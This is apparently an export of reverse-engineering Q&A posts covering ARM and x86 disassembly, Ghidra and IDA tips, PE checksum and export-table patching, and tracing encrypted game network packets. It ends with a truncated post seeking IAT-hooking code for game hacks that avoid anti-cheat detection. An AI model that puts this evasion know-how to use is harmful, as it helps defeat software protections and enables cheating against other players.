        "Body": "<p>I'm a little stuck trying to understand this simple piece of code. It get's a number in R0. The first part seems to be a R0 = abs(R0), but then it get's more difficult. The number of leading zeros is determined, then it's left shifted by that many bits and then it's checked if that is > 0, otherwise 0 is returned. I don't get what the purpose of the entire shifting there is supposed to be and what the Add and additional shift operations are supposed to do there. </p>\n\n<pre><code>ROM:0005B7BE ; =============== S U B R O U T I N E =======================================\nROM:0005B7BE\nROM:0005B7BE\nROM:0005B7BE sub_5B7BE\nROM:0005B7BE                 ANDS.W  R2, R0, #0x80000000\nROM:0005B7C2                 IT MI\nROM:0005B7C4                 NEGMI   R0, R0\nROM:0005B7C6                 CLZ.W   R3, R0\nROM:0005B7CA                 LSLS.W  R1, R0, R3\nROM:0005B7CE                 BEQ     retZero\nROM:0005B7D0                 RSB.W   R3, R3, #29\nROM:0005B7D4                 ADD.W   R3, R3, #1024\nROM:0005B7D8                 MOV.W   R0, R1,LSL#21\nROM:0005B7DC                 ADD.W   R2, R2, R3,LSL#20\nROM:0005B7E0                 ADD.W   R1, R2, R1,LSR#11\nROM:0005B7E4                 BX      LR\nROM:0005B7E6 ; ---------------------------------------------------------------------------\nROM:0005B7E6\nROM:0005B7E6 retZero\nROM:0005B7E6                 MOV.W   R0, #0\nROM:0005B7EA                 BX      LR\nROM:0005B7EA ; End of function sub_5B7BE\n</code></pre>\n",
        "Title": "Issue understanding simple ARM ASM function",
        "Tags": "|disassembly|decompilation|arm|assembly|",
        "Answer": "<p>This is function <code>dflt</code> (or <code>__aeabi_i2d</code>) from the ARM compiler libraries. It performs a conversion of a 32-bit signed integer in <code>R0</code> into a a soft-float <strong>double</strong> (64-bit floating point value) in <code>R0:R1</code>. </p>\n\n<p>An <a href=\"https://en.wikipedia.org/wiki/Double-precision_floating-point_format\" rel=\"nofollow noreferrer\">IEEE 754 double</a> consists of a sign bit, 11-bit exponent and 52-bit fraction:</p>\n\n<pre><code> 63  62             52 51                                         0\n+------------------------------------------------------------------+\n| s | exponent(11)    |           fraction(52)                     |\n+------------------------------------------------------------------+\n+------------------------------------------------------------------+\n|           R1                |             R0                     |\n+------------------------------------------------------------------+\n31                           0 31                                 0  \n</code></pre>\n\n<p>The value of the number is 2^(e-1023)*1.fraction</p>\n\n<p>The code calculates the exponent and fraction that would approximate the original value and puts it into R0:R1. The magic numbers in shifts are necessary to line up the fraction across the two registers and 1024 is the bias for the exponent.</p>\n"
    },
    {
        "Id": "25246",
        "CreationDate": "2020-06-09T05:10:22.140",
        "Body": "<p>I'm debugging an ARM cortex M4 (STM32F4) running FreeRTOS.\nInside the assembly FreeRTOS function <code>vPortSVCHandler</code>, there's a branch instruction</p>\n\n<pre><code>bx r14\n</code></pre>\n\n<p>using GDB, I step through instruction by instruction and find that r14 (lr) contains the value <code>0xfffffffd</code> (not a valid address) immediately before the bx instruction is executed.</p>\n\n<p>For some reason, GDB doesn't follow the <code>bx</code> instruction with <code>si</code> (hangs), but I'm still able to <code>step</code> via openOCD.  I find that the function that's branched to is in fact a valid function at address <code>0x08012abc</code>.</p>\n\n<p>From the ARM docs on <code>bx</code>, its argument should be a register containing an address to branch to.  </p>\n\n<p>Clearly, I'm misunderstanding or looking at the wrong docs.</p>\n\n<p>I tried tweaking <code>lr</code> with GDB just before the branch instruction.  Changing it to <code>0x0</code> or <code>0xfffffff7</code> results in a hard fault shortly after the branch.</p>\n\n<p>How does this branch instruction, when called with a value of <code>0xfffffffd</code>, result in branching to a valid function at <code>0x08102abc</code>?</p>\n",
        "Title": "ARM bx instruction branches to address not specified as argument",
        "Tags": "|arm|",
        "Answer": "<p>Values around <code>FFFFFFFF</code> are used in Cortex-M for  <em><a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/Babefdjc.html\" rel=\"nofollow noreferrer\">exception returns</a></em>\n(ECX_RETURN). Currently defined values:</p>\n\n<ol>\n<li><p>0xFFFFFFF1 - return to Handler mode, restore state from main stack</p></li>\n<li><p>0xFFFFFFF9 - return to Thread mode, restore state from main stack</p></li>\n<li><p>0xFFFFFFFD - return to Thread mode, restore state from process stack</p></li>\n</ol>\n\n<p>So the actual branch address is taken from the stack (MSP or PSP, depending on the low bits of the value). See the linked document for more details. </p>\n\n<p>Since GDB is mostly used for user-mode debugging, it does not expect such shenanigans and probably tries to set a breakpoint at the value of <code>LR</code> which naturally fails. OpenOCD knows about exceptions and is able to step properly. </p>\n"
    },
    {
        "Id": "25252",
        "CreationDate": "2020-06-09T14:08:37.297",
        "Body": "<p>I have several applications that interact with the network, but the data is encrypted. I set breakpoints on send ws2_32.dll and found the correct buffer in which the encrypted data was located (then I checked the call stack to find the encryption function used), but this did not lead to anything good, for example, breakpoints for reading and entries in. If you have information describing the process of searching for packages in programs or in examples / books. I'll be happy</p>\n",
        "Title": "Decrypt application protocol packet",
        "Tags": "|unpacking|decryption|patch-reversing|",
        "Answer": "<p>In some games I have found the encryption on, it has been before the send call e.g. a function that calls send sometimes 2-3 calls up.</p>\n\n<p>For recv it is decrypting after but some first decrypted part of it for a header to look up the size/id.</p>\n\n<p>Others had compressed packets (zlib) which took a little bit of figuring.</p>\n\n<p>A trick to see if is possibly compressed or encrypted well is try to compress the data (if large enough) if it does not get any meaningful compression then it is already compressed or encrypted enough to look random.</p>\n\n<p>So the application might call recv or some other func to get data in.\nThen it may, decrypt some identifier or length e.g. Packet ID lookup size or size in header.</p>\n\n<p>Try sending 20 A characters the first time\nRestarting the app and sending 23 A characters</p>\n\n<p>Do a byte by byte difference and see what stands out as different.</p>\n\n<p>Sometimes encryption key could be sent by the server first, in which case look for a single byte, block of bytes etc, that is copied somewhere on first recv, find references to that or memory (add a read breakpoint on it) and you might find your encrypt and/or decrypt routine.</p>\n\n<p>Do multiple connections with same input data have the same data sent on the wire?</p>\n\n<p>Can you send some reliable information and packet sniff it to see what it looks like?</p>\n\n<p>For example if it has a login as the first packet and it is sent first straight after connection.</p>\n\n<p>Send a long string of AAAAAAAAAAAAAAAAAAAAAAA\nAnd observe the data.</p>\n\n<p>Does it look like</p>\n\n<p>10 00 01 00 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9</p>\n\n<p>For example that would indicate something like xor.\nIf xor observe many packets and look for bytes that you see often, e.g. 00 xor by something is the value.</p>\n\n<p>Could also look more jumbled up or blocks of 4 bytes or some length.\nIf you see repeating sequence e.g. C9 EF AD CC C9 EF AD CC and you know the input data was a long string of \"A\"  for example, then its doing a pattern.</p>\n\n<p>I have seen some implementations where something like blowfish was used, initially seeded but they did not handle padding the packet out fully to a multiple of the block length, so odd number of bytes showed up as plain text.</p>\n\n<p>If the data is different each time from the very first send with no other recv, it could be a time based encryption based on when you connected, or that the client just picks random key and tells the server it.</p>\n\n<p>For example if the first packet sent from client to server is 32 bytes of gibberish, its probably a key or an initialization vector to seed a block cipher or something...</p>\n\n<p>One software was like this.\nCustomSend(data, length)</p>\n\n<p>Which copied the bytes to a buffer, offset by packet header.\nFilled in the header with the length.\nEncrypted the entire content using another function (Look for loops before send or a function called before send containing loops could be a few levels up or deep, but you should follow what happens to the buffer of data, you need to do this backwards.</p>\n\n<p>Following the code backwards can be tricky sometimes I find it easier to go forward if you can find something you know will submit some known data to send to this socket action/packet.\nSometimes this is after a connect or after a first recv.\nOr after hitting enter in a chat box.</p>\n\n<p>It is also not guaranteed that the same encryption or key is used for both encryption and decryption.</p>\n\n<p>It could also be some kind of Asymmetric encryption, e.g. one key to encrypt but another to decrypt with each end only knowing the key needed to send or recv data with the other.</p>\n\n<p>Or they could get crafty and encrypt the data one way for the first few packets and switch it up after negotiating keys to use.</p>\n\n<p>If you happen to use IDA or maybe there is an alternative on Ghidra\n<a href=\"https://github.com/d3v1l401/FindCrypt-Ghidra\" rel=\"nofollow noreferrer\">https://github.com/d3v1l401/FindCrypt-Ghidra</a>\n or other tools? You can use something like FindCrypt to find known crypto algorithms\n<a href=\"https://www.hex-rays.com/blog/findcrypt/\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/blog/findcrypt/</a> which by looking at what uses/references them you might find the encrypt/decrypt that way.</p>\n\n<p>Sounds fun hope you can make some progress on it.</p>\n"
    },
    {
        "Id": "25261",
        "CreationDate": "2020-06-10T08:50:39.840",
        "Body": "<p>I'm using Ghidra to reverse engineer an EXE file and save its assembly line code only. Does Ghidra have any function or scripts which exports the assembly line code? I don't want to manually copy the code from the Listing window.</p>\n",
        "Title": "Extracting Assembly line code from an executable in Ghidra",
        "Tags": "|assembly|ghidra|",
        "Answer": "<p>Not sure if you ask about one line or the whole program.</p>\n\n<p>One assembly line can be obtain for example by such script:</p>\n\n<pre><code>addr = toAddr(&lt;address&gt;)\nprint(currentProgram.getListing().getInstructionAt(addr))\n</code></pre>\n\n<p>if we are talking about the whole program</p>\n\n<pre><code>for instr in currentProgram.getListing().getInstructions(True):\n    print(instr)\n</code></pre>\n\n<p>but I guess the last one can take a while. More information can be found in the docs about <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Listing.html\" rel=\"noreferrer\">Listing</a> object.</p>\n"
    },
    {
        "Id": "25262",
        "CreationDate": "2020-06-10T10:15:20.913",
        "Body": "<p>I'm writing an IDA python script, and i need to be able to detect position independent code. I have an instruction that IDA displays using the operand name 'format'</p>\n\n<pre><code>lea     rdi, format\n</code></pre>\n\n<p>However, when i use capstone disassembler or disassember.io it displays the instruction as </p>\n\n<pre><code>lea     rdi, [rip + 0xd5a]\n</code></pre>\n\n<p>Is there an ida python function that will return the instruction in the form of the register + the immediate offset instead of the relative value or operand name?</p>\n\n<p>I tried using <code>idc.get_operand_value</code> but it returns the full address, not the register + offset.</p>\n\n<p>I've also tried <code>idc.GetDisasm</code> but that just returns the instruction as it's displayed in IDA.</p>\n\n<p>The hexbytes for the instruction are <code>48 8d 3d 5a 0d 00 00</code></p>\n\n<p>Architecture is <code>i386 x86-64</code></p>\n",
        "Title": "Displaying Operands as Position Independent in IDA",
        "Tags": "|ida|x86|x86-64|offset|pic|",
        "Answer": "<p>Options-General-Analysis-Processor specific options, [x] Explicit RIP-addressing.</p>\n"
    },
    {
        "Id": "25266",
        "CreationDate": "2020-06-10T14:42:15.320",
        "Body": "<p>I have a \"Hello World\" console app compiled with Flat Assembler. The size of the executable is 2048 bytes and the checksum is 0x3797.</p>\n\n<p><strong>Questions:</strong></p>\n\n<p>Does it matter if I make changes to the data section and minor change to code section of the executable while maintaining the same checksum?</p>\n\n<p>Not really changing the opcode, just inserting different <code>input.Length</code> (length of null-terminated text string in data section)</p>\n\n<pre><code>     push 0xfffffff5 // - 11\n     call DWORD PTR ds:0x40304c // .idata [GetStdHandle]\n     push 0x0\n     push 0x401014\n     push [input.Length]\n     push 0x401000 // .data\n     push eax\n     call DWORD PTR ds:0x403050 // .idata [WriteConsole]\n     push 0x0\n     call DWORD PTR ds:0x0403048 // .idata [ExitProcess]\n</code></pre>\n\n<p>Why does it still run even though I use different checksum?\nFor example, it still run even if I change the checksum to 0x995A or 0x5A99.</p>\n\n<p>I use <code>ImageHlp.dll</code> to compute the checksum as summarized below:</p>\n\n<pre><code>int HeaderSum = 0;\nint CheckSum = 0;\nIntPtr ptrHeaderSum=Marshal.AllocHGlobal(sizeof(int));\nMarshal.WriteInt32(ptrHeaderSum, HeaderSum);\nIntPtr ptrCheckSum = Marshal.AllocHGlobal(sizeof(int));\nMarshal.WriteInt32(ptrCheckSum, CheckSum);\nUInt32 status= ImageHlp.MapFileAndCheckSumA(@\"D:\\19_02_21.exe\", ptrHeaderSum, ptrCheckSum);\n\nConsole.WriteLine(status);\nCheckSum = Marshal.ReadInt32(ptrCheckSum);\nConsole.WriteLine(CheckSum);\n\nMarshal.FreeHGlobal(ptrHeaderSum);\nMarshal.FreeHGlobal(ptrCheckSum);\nConsole.ReadLine();\n</code></pre>\n",
        "Title": "Why does an executable still run despite changes to checksum, or changes to data section without new checksum?",
        "Tags": "|windows|pe|c#|reassembly|",
        "Answer": "<p>The PE checksum is only checked for drivers by the kernel, for the user-mode binaries it's optional. As mentioned <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-mapfileandchecksuma\" rel=\"nofollow noreferrer\">in the doc</a>:</p>\n\n<blockquote>\n  <p>Checksums are required for kernel-mode drivers and some system DLLs.\n  The linker computes the original checksum at link time, if you use the\n  appropriate linker switch. For more details, see your linker\n  documentation.</p>\n</blockquote>\n\n<p>The linker option is <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/release-set-the-checksum\" rel=\"nofollow noreferrer\"><code>/RELEASE</code></a>:</p>\n\n<blockquote>\n  <p>The /RELEASE option sets the Checksum in the header of an .exe file.</p>\n  \n  <p>The operating system requires the Checksum for device drivers. Set the\n  Checksum for release versions of your device drivers to ensure\n  compatibility with future operating systems.</p>\n  \n  <p>The /RELEASE option is set by default when the /SUBSYSTEM:NATIVE\n  option is specified.</p>\n</blockquote>\n"
    },
    {
        "Id": "25268",
        "CreationDate": "2020-06-10T19:40:22.550",
        "Body": "<p>I have disassembled an old DOS application with IDA. It run in 16-bit real mode. Some instructions are referencing variables defined in the data segment (DS). </p>\n\n<pre><code>push    word ptr ds:8401h\n</code></pre>\n\n<p>Since I have imported debug symbols, I can display variable name by simply putting mouse over the <code>ds:xxxxh</code> part.</p>\n\n<p>The problem is this only works when IDA is running in debug mode (eg: a DOSBox process is attached to it). Otherwise nothing is shown.</p>\n\n<p>One possible explanation is that the data segment register (DS) is only set when application is running so IDA as no clue what value it is. In fact, the very first instructions of the program are dedicated to initializing the data segment : </p>\n\n<pre><code>; entry point\nmov   dx, seg dseg \n...                     \n...                      ; a few instruction later\nmov   ds, dx\n</code></pre>\n\n<p>I think this is how IDA is able to guess where the data segment is (which is reported as <em>dseg</em> in the <em>Segments</em> view). </p>\n\n<p>In that application, DS is set once for good and never changed over the time. Is there a way to tell IDA it should assume DS is equal to a given value in the whole disassembly ? (so hovering those variables will give proper name even when no process is attached).</p>\n",
        "Title": "How to retrieve name of a variable defined in the data segment in IDA when no process is attached?",
        "Tags": "|ida|debugging|symbols|dos|segmentation|",
        "Answer": "<p>You need to set <code>ds</code> to the actual segment value used by the program. Usually it's one of the segments near the end. I suggest you to check which of the segments has something fitting at 8401h, or try to see how ds is set up in the calling function (you may need to go several levels up). You can also try to map the value you see in DOSBox debugger back to one of the segments in IDA (e.g. check what is at ds:0 and find it in database).</p>\n\n<p>In the <kbd>Alt-G</kbd> dialog, you can enter the selector (paragraph) value of the segment (database, not runtime) or simply the segment name.</p>\n\n<p>If all accesses in the current code segment use the same data segment, you can set it as the default in Edit-Segments-Set Default Segment Register Value...</p>\n"
    },
    {
        "Id": "25271",
        "CreationDate": "2020-06-11T05:09:23.033",
        "Body": "<p>Some of the structure types have members that are not stacked next to each other. Check out the structure type at 0x33E6 in bzip2_base (x86-64) <a href=\"https://github.com/ryantanwk/VaTy/blob/master/benchmark/sample_binaries/bzip2_base.gcc54-64bit.DIE\" rel=\"nofollow noreferrer\">here</a>. There's an int at location offset 0, a char at 4 and then an int at 5004! and so on, which brings up the size of the struct to 5104 Bytes, although it only consists of int and char variables (3 of each) with a struct called strm which is 640 Bytes long.</p>\n",
        "Title": "How are members of a Structure Type positioned on the stack?",
        "Tags": "|elf|struct|debugging-symbols|stack-variables|type-reconstruction|",
        "Answer": "<p>The second member, called <code>buf</code> (at location 4) is <em>not</em> a <code>char</code>. The type of that member is defined at <code>0x3451</code>, and this is an <em>array</em> type. Its elements are each of the type defined at <code>0x2d04</code>, which is a typedef named <code>Char</code>, which redirects to <code>0x29b7</code>, which is indeed <code>char</code> (represented as base type <code>signed char</code>).</p>\n\n<pre><code> &lt;1&gt;&lt;3451&gt;: Abbrev Number: 11 (DW_TAG_array_type)\n    &lt;3452&gt;   DW_AT_type        : &lt;0x2d04&gt;       ==&gt; Char   ==&gt; (signed) char\n    &lt;3456&gt;   DW_AT_sibling     : &lt;0x3462&gt;       ==&gt; just management info\n &lt;2&gt;&lt;345a&gt;: Abbrev Number: 25 (DW_TAG_subrange_type)\n    &lt;345b&gt;   DW_AT_type        : &lt;0x29a8&gt;       ==&gt; indexed by \"sizetype\"\n    &lt;345f&gt;   DW_AT_upper_bound : 4999           ==&gt; indices are 0..4999\n &lt;2&gt;&lt;3461&gt;: Abbrev Number: 0\n</code></pre>\n\n<p>So the type of that member is an array containing 5000 <code>Char</code> objects which are <code>char</code> objects. So it is not surprising that when <code>buf</code> starts at offset 4, the next object starts at offset 5004.</p>\n"
    },
    {
        "Id": "25276",
        "CreationDate": "2020-06-11T12:16:36.497",
        "Body": "<p>I am using this extension for loading PS-X executables:</p>\n\n<p><a href=\"https://github.com/lab313ru/ghidra_psx_ldr\" rel=\"nofollow noreferrer\">https://github.com/lab313ru/ghidra_psx_ldr</a></p>\n\n<p>During decompilation, Ghidra shows some of these warnings:</p>\n\n<pre><code>WARNING: Removing unreachable block (ram,0x8003a320)\n</code></pre>\n\n<p>Do you know how to prevent Ghidra from pruning these code blocks ?</p>\n",
        "Title": "How to prevent Ghidra from removing unreachable blocks?",
        "Tags": "|decompilation|ghidra|decompile|",
        "Answer": "<p>By default, there is a setting in Code Browser that allows Ghidra to eliminate unreachable code, you would have to change the setting by editing the options for Code Browser. This can be done by going to Edit -> Tools Options. This would bring you to a page as seen in the screenshot below</p>\n\n<p><a href=\"https://i.stack.imgur.com/ihwZg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ihwZg.png\" alt=\"enter image description here\"></a></p>\n\n<p>Under the Analysis options in the Decompiler folder, there is a checkbox called \"Eliminate unreachable code\", uncheck that and apply the option. I hope this helps!</p>\n"
    },
    {
        "Id": "25288",
        "CreationDate": "2020-06-13T10:57:28.630",
        "Body": "<p>Recently I came across the following set of vector instructions:</p>\n\n<pre><code>movq      xmm0, rcx\npunpckldq xmm0, 0x4530000043300000\nsubpd     xmm0, 0x4330000000000000\nhaddpd    xmm0, xmm0\n</code></pre>\n\n<p>The only sensible information I found based on the constants is a routine called <a href=\"https://github.com/MerryMage/dynarmic/blob/4aa4885ba707ac5e8d88a146336458a8bbe1304c/src/backend_x64/emit_x64_vector_floating_point.cpp#L413-L468\" rel=\"nofollow noreferrer\"><code>EmitFPVectorU64ToDouble</code></a>. Runtime behavior seemed to confirm that these instructions indeed convert an <em>unsigned integer</em> onto <em>scalar double-precision float</em>.</p>\n\n<p>What I'm looking for is an explanation of why these instructions achieve the result, theory behind it.</p>\n",
        "Title": "What numeric properties are used in this Unsigned Integer (64bit) -> Floating Vector (128bit) conversion?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>I was wondering the same thing. The idea behind these instructions is to split QWORD in two DWORDs, then to make two floating point numbers corresponding to each and add them up. Here's how this seems to work:</p>\n<p>Operands in the snippet look incomplete, let's add missing higher QWORDs to operands:</p>\n<pre><code>movq      xmm0, rcx\npunpckldq xmm0, 0x00000000000000004530000043300000 \nsubpd     xmm0, 0x45300000000000004330000000000000\nhaddpd    xmm0, xmm0\n</code></pre>\n<p>First <em>MOVQ</em> copies QWORD from RCX to lower half of XMM0. Then, <em>PUNPCKLDQ</em> instruction is used to construct two double precision floats in XMM0. It interleaves two DWORDs from source and destination. In pseudocode this can look like this:</p>\n<pre><code>xmm0 = ((0x43300000&lt;&lt;32)|xmm0[0:31]) | (((45300000&lt;&lt;32)|xmm0[32:63])&lt;&lt;64)\n</code></pre>\n<p>As a result each of the doubles is made of two parts: some magic constant + 32 bits of integer data. In order to understand what these magics do, we need to look at memory layout of a double.\n<a href=\"https://i.stack.imgur.com/gMsHY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gMsHY.png\" alt=\"double precision memory layout\" /></a></p>\n<p>So, the magic sets <em>sign</em>, <em>exponent</em> and 20 higher bits of <em>fraction</em>. For the first double (the one with 0x43300000 magic) the <em>exponent</em> is set to 1075 which makes contribution of least significant bit in <em>fraction</em> to be exactly 1. This trick allows to substitute fraction bits with any unsigned integer input without conversion.</p>\n<pre><code>LSB_contribution: 2^(1075-1023)*2^(-52) = 2^52*2^(-52) = 1\n</code></pre>\n<p>The second magic sets <em>exponent</em> to 1107 to make contribution of LSB equal to 2^32 instead of 1 to match magnitudes of bits in higher DWORD.</p>\n<p>Since floating point representation has implicit 1 bit added to fraction the resulting values has constant offset, which is removed by <em>SUBPD</em> instruction. It subtracts\ndouble values with same magic constants and all <em>fraction</em> bits set to 0.</p>\n<p>At this point XMM0 contains two double values that correspond to DWORDS of input that can be summed with <em>HADDPD</em> to obtain the final result in lower half of XMM0 (so this is 64 bit unsigned integer to 64 bit floating point conversion).</p>\n"
    },
    {
        "Id": "25292",
        "CreationDate": "2020-06-13T22:56:36.263",
        "Body": "<p>I need to add new function inside pe32 module.dll Export Table , in dynamic way if possible ( via extending with dll ) or by patching pe32 module.dll </p>\n\n<p>What can u suggest to solve this ?</p>\n",
        "Title": "Pe 32 Add Export function Segment by Extending with dll or Patching pe",
        "Tags": "|windows|c++|pe|assembly|",
        "Answer": "<p>Since I don't know any tool to solve your problem easily, I will tell you how it can be done &quot;by hand&quot;.</p>\n<p>First of all, you have to be familiar with PE format. If you are not, you may check <a href=\"https://www.aldeid.com/wiki/PE-Portable-executable\" rel=\"nofollow noreferrer\">aldeid</a> and <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">MSDN</a> to understand the steps I will describe. Adding an export to <code>dll</code> is just extending <code>Export Directory</code> and possibly changing some other fields. So, what you have to do is to:</p>\n<ol>\n<li>Open your <code>dll</code> in PE parser. It can be <a href=\"http://www.pe-explorer.com/\" rel=\"nofollow noreferrer\">PE Explorer</a>, <a href=\"https://ntcore.com/?page_id=388\" rel=\"nofollow noreferrer\">CFF Explorer</a> or in disassembler such as IDA (tick manual load, and then load all possible sections).</li>\n<li>Open your favourite hex editor in order to patch <code>dll</code>. Some changes may be done in above mentioned PE parsers, but not all.</li>\n<li>Increase <code>ExportDirectory.NumberOfFunctions</code> by <code>1</code>, since you are adding new function.</li>\n<li>Do the same thing with <code>ExportDirectory.NumberOfNames</code>.</li>\n<li>Now, you have to add new entry to <code>Export Address Table</code>, which is located at <code>ExportDirectory.AddressOfFunctions</code>. Just use hex editor to insert <code>4</code> new NULL bytes - you will set their value when you insert your function's code.</li>\n<li>After previous step, <code>ExportDirectory.AddressOfNames</code> has probably changed (by <code>4</code> bytes). You have to adjust it as well.</li>\n<li>Now, insert new entry to <code>ExportDirectory.AddressOfNames</code> - insert another <code>4</code> bytes using hex editor. Later on, you will change it to the name of your function.</li>\n<li>As in step 6. and 7., adjust <code>ExportDirectory.AddressOfNameOrdinals</code> and add <code>2</code> bytes using hex editor (highest ordinal <code>+ 1</code>, write it in little endian).</li>\n<li>Since you have inserted several new bytes, you have to change <code>ExportDirectory.Name</code> as well, to point to the <code>dll</code> name.</li>\n<li>Now, insert your function's name at the end of the table of function names (last entry in <code>ExportDirectory.AddressOfNames</code>).</li>\n<li>Set the entry you have created in 7. so it points to your function name.</li>\n<li>Insert your function's code at the end of <code>.text</code> section (if it is small enough, you won't have to resize it).</li>\n<li>Set the entry you have created in 5.</li>\n<li>Change <code>Export Directory Size</code> to match your new size.</li>\n<li>Use the same value for changing <code>SectionHeader.VirtualSize</code> for <code>.edata</code> section.</li>\n<li>Increase <code>FileHeader.NumberOfSymbols</code> by <code>1</code>.</li>\n<li>Either increase <code>SectionTable.SizeOfRawData</code> for <code>ExportDirectory</code> by number of bytes you have inserted using hex editor, or delete as this number of NULL bytes at the end of <code>ExportDirectory</code> (if present).</li>\n<li>Zero out or compute new <code>OptionalHeader.CheckSum</code>.</li>\n</ol>\n<p>As you see, it's a tedious process to do this manually and even if you find doing it too difficult, I hope that at least you see what has to be done &quot;at low level&quot; to add new export to a <code>dll</code>.</p>\n"
    },
    {
        "Id": "25294",
        "CreationDate": "2020-06-14T03:44:33.140",
        "Body": "<p>I want to implement a full blown import reconstructor into my app without any external dll's or Shell Executes to EXEs. I want to just have the ability to get IAT Import addresses to certain imported DLL's by name or Ordinal. So I can easily patch the IAT to do hacks. At the moment I do this all by hand and have to rely on updating the IAT addresses for every function I am hooking I want this to be automatic by putting in dll name and dll import name and get the import addresses. If I hook using anything other then IAT.. like <code>(DWORD)GetProcAddress(\"dllname\", \"import name\");</code> it will be detected because it's hooking inside of a DLL that's outside the main game.. even though the anticheat also cares about editing the CODE of the Game itself same as it does for DLL's it doesn't seem to care about memory edits which is what IAT hooking does.</p>\n\n<p>I tried a bunch of solutions such as <code>PE-Sieve</code> and <code>libpeconv</code> both don't handle packed IAT's..</p>\n\n<p>I was going to make my own Auto Import Scanner.. but its too much work.. i need to first find a small \nx86 disasm and opcode length counter then I could loop the whole game EXE and scan for absolute addresses and double check them with <code>*(DWORD*)</code> against <code>(DWORD)GetProcAddress(\"dllname\", \"import name\");</code> if any of the addresses match then I found my IAT addresses.</p>\n\n<pre><code>\u2013 8B0D MOV ECX,[ADDRESS]\n\u2013 8B15 MOV EDX,[ADDRESS]\n\u2013 8B1D MOV EBX,[ADDRESS]\n\u2013 8B25 MOV ESP,[ADDRESS]\n\u2013 8B2D MOV EBP,[ADDRESS]\n\u2013 8B35 MOV ESI,[ADDRESS]\n\u2013 8B3D MOV EDI,[ADDRESS]\n\u2013 A1 MOV EAX,[ADDRESS]\n- FF15 CALL [ADDRESS]\n\u2013 FF25 JMP [ADDRESS]\n\u2013 FF35 PUSH [ADDRESS]\n</code></pre>\n\n<p>Anyone got a code that already do this? or anything similar to this.. i would really appreciate it.</p>\n\n<p>Here is what I got so far.. it kinda works gets 80-85% of all imports.. but the ones that are double jumped and some with crap instructions that needs a re-pass I'm still working on that anyone got these patterns complete?</p>\n\n<pre><code>#define ResolveRVA(base,rva) (( (uint8_t*)base) +rva)\n#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)\n\nBOOL SnapShotModules(DWORD dwPID)\n{\n    BOOL           bRet = TRUE;\n\n    // Get all modules for this process:\n    std::vector&lt;HMODULE&gt; hModules;\n    const HMODULE hSelf = GetModuleHandle(NULL);\n    {\n        DWORD nModules;\n        EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;nModules);\n        hModules.resize(nModules);\n        EnumProcessModules(GetCurrentProcess(), &amp;hModules[0], nModules, &amp;nModules);\n    }\n\n    if (!hSelf)\n    {\n        printf(\"Invalid Process Handle\\n\");\n        return FALSE;\n    }\n\n    gs_ModuleList.clear();\n\n    IAT_Module_Info modulefullInfo = { 0 };\n    MODULEINFO modinfo = { 0 };\n    char moduleName[256] = { 0 };\n    char moduleFileName[1000] = { 0 };\n\n    char myProcessFilePath[1000] = { 0 };\n    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);\n    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);\n    for (auto hModule : hModules) {\n        if (hModule == hSelf)\n            continue;\n\n        GetModuleInformation(GetCurrentProcess(), hModule, &amp;modinfo, sizeof(modinfo));\n        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));\n        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));\n        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;\n        strcpy(modulefullInfo.DllName, moduleName);\n        modulefullInfo.ImageSize = modinfo.SizeOfImage;\n        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;\n        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;\n        strcpy(modulefullInfo.DllFileName, moduleFileName);\n        gs_ModuleList.push_back(modulefullInfo);\n    }\n\n    return TRUE;\n}\n\n/************************************************************************/\n/*\nFunction : Retrieve API info by its addr and the module it belongs to\nParams   : pBuf points to the image mapped to our space*/\n/************************************************************************/\nvoid GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)\n{\n    //try to load the dll into our space\n    HMODULE hDll = NULL;\n    if(iat_module_info)\n        hDll = LoadLibrary(iat_module_info-&gt;DllFileName);\n\n    if (NULL == hDll)\n        return;\n\n    //now ask for info from Export\n    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;\n    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&gt;e_lfanew);\n    if (pNTHDR-&gt;OptionalHeader.NumberOfRvaAndSizes &lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1)\n        return;\n\n    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)\n        ((BYTE *)pDOSHDR\n            + pNTHDR-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\n    DWORD dwFunctions = pExpDIR-&gt;NumberOfFunctions;\n    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfFunctions);\n    DWORD i = 0;\n\n    //get index by address\n    for (i = 0; i &lt; dwFunctions; i++)\n    {\n        if (ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)\n            break;\n        if (!ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)\n            break;\n    }\n\n    //not match\n    if (i == dwFunctions)\n        return;\n\n    //get name and ordinal\n    DWORD dwNames = pExpDIR-&gt;NumberOfNames;\n    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNames);\n    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + 